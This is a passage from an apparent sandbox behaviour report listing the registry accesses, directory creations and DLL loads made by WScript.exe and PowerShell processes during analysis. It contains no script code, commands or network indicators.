"HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\E6A3B45B062D509B3382282D196EFE97D5956CCB"; Key: "BLOB") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\F5AD0BCC1AD56CD150725B1C866C30AD92EF21B0"; Key: "BLOB") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "WScript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "WScript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "WScript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\109F1CAED645BB78B3EA2B94C0697C740733031C"; Key: "BLOB")2f:T433,"WScript.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00002496) "powershell.exe" called "CreateDirectoryW" with parameter %APPDATA%\Microsoft\Windows\Recent\CustomDestinations (UID: 00000000-00002316) "powershell.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00002316) "powershell.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00002316) "powershell.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00002316) "powershell.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00004012) "powershell.exe" called "CreateDirectoryW" with parameter %APPDATA%\Microsoft\Windows\Recent\CustomDestinations (UID: 00000000-00004012) "powershell.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00004012) "powershell.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00004012)30:T6b63,"WScript.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\WScript.exe (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter SXS.DLL (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter dwmapi.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter WINTRUST.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter MSISIP.DLL (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\CRYPT32.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\msxml6r.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter WINHTTP.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter RPCRT4.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter wshtcpip (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter DNSAPI.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\wshext.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter wship6.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter ncrypt.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\bcryptprimitives.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-SDDL-L1-1-0.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l1-1-0.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00002496) "WScript.exe" called "LoadLibrary" with a parameter API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL (UID: 00000000-00002496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\shell32.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter ntshrui.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter srvcli.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter cscapi.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter slc.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\mscorlib\9f895c66454577eff9c77442d0c84f71\mscorlib.ni.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v2.0.50727\ole32.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v2.0.50727\OLEAUT32.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System\ad92dab7f418877d6a1e0358ce35658a\System.ni.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\Microsoft.PowerShel#\8229f0505633d4bcef019b9d4fab9f18\Microsoft.PowerShell.ConsoleH (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System.Management.A#\84c47b5a5813a5f040aee9715a0ff7c0\System.Management.Automation. (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter AdvApi32.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System.Core\bd9ff1a4363781a57e8f7392f230a203\System.Core.ni.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\Microsoft.PowerShel#\49cae79ac18bad142e1ab5a46a8ac306\Microsoft.PowerShell.Commands (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System.Configuratio#\d6acc39f6c1ea42d8b3150db6184a969\System.Configuration.Install. (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\Microsoft.WSMan.Man#\7bf5729401cff7ea7898124e9818ed20\Microsoft.WSMan.Management.ni (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System.Transactions\fec007ea17ac8956cc5d6d4074dada6a\System.Transactions.ni.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\Microsoft.PowerShel#\f1831ce4588265a3f72e0a581ba58f2a\Microsoft.PowerShell.Commands (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\Microsoft.PowerShel#\344e681515d07b93a4f1383f0d625e1e\Microsoft.PowerShell.Commands (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\Microsoft.PowerShel#\573750f17b5b8316f04a10956fdd1d97\Microsoft.PowerShell.Security (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v2.0.50727\culture.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v2.0.50727\en-US\mscorrc.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v2.0.50727\en\mscorrc.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v2.0.50727\mscorrc.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System.Xml\77c1dc46ea139bf5e1eaa9b87ef03c7a\System.Xml.ni.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System.Management\00c2b464e52d4e82c04d61592a12a89d\System.Management.ni.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System.DirectorySer#\237ed1739105c1bebe48d41905fdb3ee\System.DirectoryServices.ni.d (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter shfolder.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System.Data\511c39d1efa06d262a6b2f47e2726c73\System.Data.ni.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v2.0.50727\mscorjit.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\shell32.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter netutils.dll (UID: 00000000-00002316) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\shell32.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter ntshrui.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter srvcli.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter cscapi.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter slc.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System.Configuration\ad8dd536906e94c4bc9cb9b82285580b\System.Configuration.ni.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter rtutils.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-winsvc-L1-1-0.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter IPHLPAPI.DLL (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter NSI.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter CFGMGR32.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\mscorlib\9f895c66454577eff9c77442d0c84f71\mscorlib.ni.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v2.0.50727\ole32.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System\ad92dab7f418877d6a1e0358ce35658a\System.ni.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\Microsoft.PowerShel#\8229f0505633d4bcef019b9d4fab9f18\Microsoft.PowerShell.ConsoleH (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System.Management.A#\84c47b5a5813a5f040aee9715a0ff7c0\System.Management.Automation. (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter AdvApi32.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System.Core\bd9ff1a4363781a57e8f7392f230a203\System.Core.ni.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\Microsoft.PowerShel#\49cae79ac18bad142e1ab5a46a8ac306\Microsoft.PowerShell.Commands (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System.Configuratio#\d6acc39f6c1ea42d8b3150db6184a969\System.Configuration.Install. (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\Microsoft.WSMan.Man#\7bf5729401cff7ea7898124e9818ed20\Microsoft.WSMan.Management.ni (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System.Transactions\fec007ea17ac8956cc5d6d4074dada6a\System.Transactions.ni.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\Microsoft.PowerShel#\f1831ce4588265a3f72e0a581ba58f2a\Microsoft.PowerShell.Commands (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\Microsoft.PowerShel#\344e681515d07b93a4f1383f0d625e1e\Microsoft.PowerShell.Commands (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v2.0.50727\culture.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v2.0.50727\en-US\mscorrc.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v2.0.50727\en\mscorrc.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v2.0.50727\mscorrc.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System.Xml\77c1dc46ea139bf5e1eaa9b87ef03c7a\System.Xml.ni.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System.Management\00c2b464e52d4e82c04d61592a12a89d\System.Management.ni.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System.DirectorySer#\237ed1739105c1bebe48d41905fdb3ee\System.DirectoryServices.ni.d (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System.Data\511c39d1efa06d262a6b2f47e2726c73\System.Data.ni.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v2.0.50727\mscorjit.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter shfolder.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter RASMAN.DLL (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-Management-L1-1-0.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter security.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter ncrypt.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter RPCRT4.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-Management-L2-1-0.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\cryptnet.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\security.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\bcryptprimitives.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v2.0.50727\CRYPT32.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-SDDL-L1-1-0.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter cryptnet.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter SensApi.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter WINHTTP.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter profapi.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter DNSAPI.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v2.0.50727\diasymreader.dll (UID: 